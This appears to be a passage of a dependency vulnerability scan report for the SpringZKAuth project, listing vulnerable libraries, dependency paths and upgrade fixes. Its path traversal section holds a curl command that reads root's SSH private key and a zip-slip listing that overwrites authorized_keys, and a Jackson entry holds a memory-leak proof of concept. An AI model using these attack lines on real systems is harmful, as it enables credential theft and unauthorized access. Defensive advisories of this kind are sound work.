2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.1, 2.8.11.4, 2.7.9.6 or higher.

References

medium severity
new

Out-of-bounds Read

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the getFrameContentSize(byte[], int, int, boolean) bounds check in src/main/java/com/github/luben/zstd/Zstd.java. An attacker can trigger a JVM crash or read past the start of the input buffer by supplying a negative srcPosition when calling this public API. The method only rejected offsets at or beyond src.length, so a negative offset and matching length could reach the native frame-header parser with an invalid pointer into attacker-controlled input.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

medium severity

Deserialization of Untrusted Data

  • Vulnerable module: com.google.guava:guava
  • Introduced through: io.springfox:springfox-swagger2@2.7.0

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. During deserialization, two Guava classes accept a caller-specified size parameter and eagerly allocate an array of that size:

  • AtomicDoubleArray (when serialized with Java serialization)
  • CompoundOrdering (when serialized with GWT serialization)

An attacker may be able to send a specially crafted request which with then cause the server to allocate all it's memory, without validation whether the data size is reasonable.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.google.guava:guava to version 24.1.1, 24.1.1-jre or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.

This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for log4j:log4j.

References

medium severity
new

Timing Attack

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2

Overview

Affected versions of this package are vulnerable to Timing Attack through the GF arithmetic and the fixed-weight support sampler in HQCEngine. An attacker can recover information about the HQC private key by observing cache behavior or decapsulation timing while the code processes secret inputs during encapsulation and decapsulation. The GF(2^8) arithmetic exposes operand-dependent table accesses, and the support sampler’s collision handling and secret-index writes leak information from the key material re-expanded on each decapsulation.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

medium severity

Data Loss

  • Vulnerable module: org.apache.kafka:kafka_2.11
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.5.RELEASE.

Overview

org.apache.kafka:kafka_2.10 is a distributed streaming platform.

Affected versions of this package are vulnerable to Data Loss. Authenticated Kafka users may perform action reserved for the Broker via a manually created fetch request interfering with data replication, resulting in data loss.

Remediation

Upgrade org.apache.kafka:kafka_2.10 to versions 0.10.2.2, 0.11.0.3, 1.0.1, 1.1.0 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: org.toile-libre.libe:curl@0.0.13

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.toile-libre.libe:curl@0.0.13 › org.apache.httpcomponents:httpmime@4.5.2 › org.apache.httpcomponents:httpclient@4.5.2
    Remediation: Upgrade to org.toile-libre.libe:curl@0.0.30.

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Directory Traversal. String input by user is not validated for the presence of leading character / and is passed to the constructor as path information, resulting in a Directory Traversal vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: org.toile-libre.libe:curl@0.0.13

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.toile-libre.libe:curl@0.0.13 › org.apache.httpcomponents:httpmime@4.5.2 › org.apache.httpcomponents:httpclient@4.5.2
    Remediation: Upgrade to org.toile-libre.libe:curl@0.0.39.

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.13 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the PBEPBKDF2 implementation in prov/src/main/java/org/bouncycastle/jcajce/provider/symmetric/PBEPBKDF2.java. An attacker can force excessive CPU work by supplying a PBES2/PBKDF2 structure or PBEKeySpec with a very large iteration count, causing engineInit or engineGenerateSecret to derive with whatever count it receives. The affected code accepts untrusted counts from encoded parameters and uses them directly for password-based key derivation, so decrypting or generating PBKDF2-protected keys can stall the application before the result is verified.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.

Workaround

This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.

PoC


byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.

References

medium severity
new

Infinite loop

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Infinite loop due to negative length validation in read(byte[], int, int) in src/main/java/com/github/luben/zstd/ZstdInputStreamNoFinalizer.java. An attacker can spin a caller thread indefinitely by supplying a negative len to read(), which leaves the method retrying without making progress. Because the method is synchronized, the stuck read holds the stream’s monitor and blocks other threads that try to use the same ZstdInputStreamNoFinalizer instance, causing a thread-exhaustion denial of service.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

medium severity

Access Control Bypass

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.3.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Access Control Bypass. ZooKeeper’s getACL() method doesn’t check any permission when retrieving the ACLs of the requested node and returns all information contained in the ACL Id field as plain text string. If Digest Authentication is in use, the unsalted hash value will be disclosed by the getACL() method for unauthenticated or unprivileged users.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.14, 3.5.5 or higher.

References

medium severity

Dual license: EPL-1.0, MPL-2.0

  • Module: com.h2database:h2
  • Introduced through: com.h2database:h2@2.5.252

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.h2database:h2@2.5.252

Dual license: EPL-1.0, MPL-2.0

medium severity

EPL-1.0 license

  • Module: junit:junit
  • Introduced through: org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE, com.101tec:zkclient@0.7 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12

EPL-1.0 license

low severity

Information Exposure

  • Vulnerable module: commons-codec:commons-codec
  • Introduced through: org.toile-libre.libe:curl@0.0.13

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.toile-libre.libe:curl@0.0.13 › org.apache.httpcomponents:httpmime@4.5.2 › org.apache.httpcomponents:httpclient@4.5.2 › commons-codec:commons-codec@1.9

Overview

commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.

Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.

Remediation

Upgrade commons-codec:commons-codec to version 1.14 or higher.

References

low severity

Man-in-the-Middle (MitM)

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
